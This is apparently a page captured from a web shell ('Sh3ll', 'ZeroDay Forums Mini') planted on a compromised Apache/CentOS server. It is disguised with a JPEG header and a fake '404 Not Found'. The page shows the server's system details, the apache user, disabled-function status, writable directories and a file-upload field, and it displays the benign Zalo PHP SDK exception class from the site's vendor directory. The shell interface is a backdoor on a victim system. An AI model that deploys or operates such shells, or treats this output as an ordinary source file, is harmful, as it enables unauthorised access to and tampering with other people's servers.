����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/trader/vendor/zaloplatform/zalo-php-sdk/src/Exceptions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/trader/vendor/zaloplatform/zalo-php-sdk/src/Exceptions/ZaloResponseException.php
<?php
/**
 * Zalo © 2019
 *
 */

namespace Zalo\Exceptions;

use Zalo\ZaloResponse;

/**
 * Class ZaloResponseException
 *
 * @package Zalo
 */
class ZaloResponseException extends ZaloSDKException
{

    /**
     * @var ZaloResponse The response that threw the exception.
     */
    protected $response;

    /**
     * @var array Decoded response.
     */
    protected $responseData;

    /**
     * Creates a ZaloResponseException.
     *
     * @param ZaloResponse $response The response that threw the exception.
     * @param ZaloSDKException $previousException The more detailed exception.
     */
    public function __construct(ZaloResponse $response, ZaloSDKException $previousException = null)
    {
        $defaultErrorCode = -1;
        $defaultErrorMessage = 'Unknown error from Graph.';
        if ($previousException !== null) {
            $defaultErrorCode = $previousException->getCode();
            $defaultErrorMessage = $previousException->getMessage();
        }

        $this->response = $response;
        $this->responseData = $response->getDecodedBody();
        $errorCode = $this->get('error', $defaultErrorCode);
        $errorMessage = $this->get('message', $defaultErrorMessage);
        parent::__construct($errorMessage, $errorCode, $previousException);
    }

    /**
     * A factory for creating the appropriate exception based on the response from Graph.
     *
     * @param ZaloResponse $response The response that threw the exception.
     *
     * @return ZaloResponseException
     */
    public static function create(ZaloResponse $response)
    {
        $data = $response->getDecodedBody();

        $code = isset($data['error']) ? $data['error'] : -1;
        $message = isset($data['message']) ? $data['message'] : null;
        if (!$message) {
            $message = isset($data['error_name']) ? $data['error_name'] : 'Unknown error from Graph.';
        }
        if (!$message) {
            $message = 'Unknown error from Graph.';
        }
        if ($code < 0) {
            return new static($response, new ZaloOAException($message, $code));
        }
        return new static($response, new ZaloOtherException($message, $code));
    }

    /**
     * Checks isset and returns that or a default value.
     *
     * @param string $key
     * @param mixed $default
     *
     * @return mixed
     */
    private function get($key, $default = null)
    {
        if (isset($this->responseData['error'][$key])) {
            return $this->responseData['error'][$key];
        }

        return $default;
    }

    /**
     * Returns the HTTP status code
     *
     * @return int
     */
    public function getHttpStatusCode()
    {
        return $this->response->getHttpStatusCode();
    }

    /**
     * Returns the sub-error code
     *
     * @return int
     */
    public function getSubErrorCode()
    {
        return $this->get('error_subcode', -1);
    }

    /**
     * Returns the error type
     *
     * @return string
     */
    public function getErrorType()
    {
        return $this->get('type', '');
    }

    /**
     * Returns the raw response used to create the exception.
     *
     * @return string
     */
    public function getRawResponse()
    {
        return $this->response->getBody();
    }

    /**
     * Returns the decoded response used to create the exception.
     *
     * @return array
     */
    public function getResponseData()
    {
        return $this->responseData;
    }

    /**
     * Returns the response entity used to create the exception.
     *
     * @return ZaloResponse
     */
    public function getResponse()
    {
        return $this->response;
    }

}

ZeroDay Forums Mini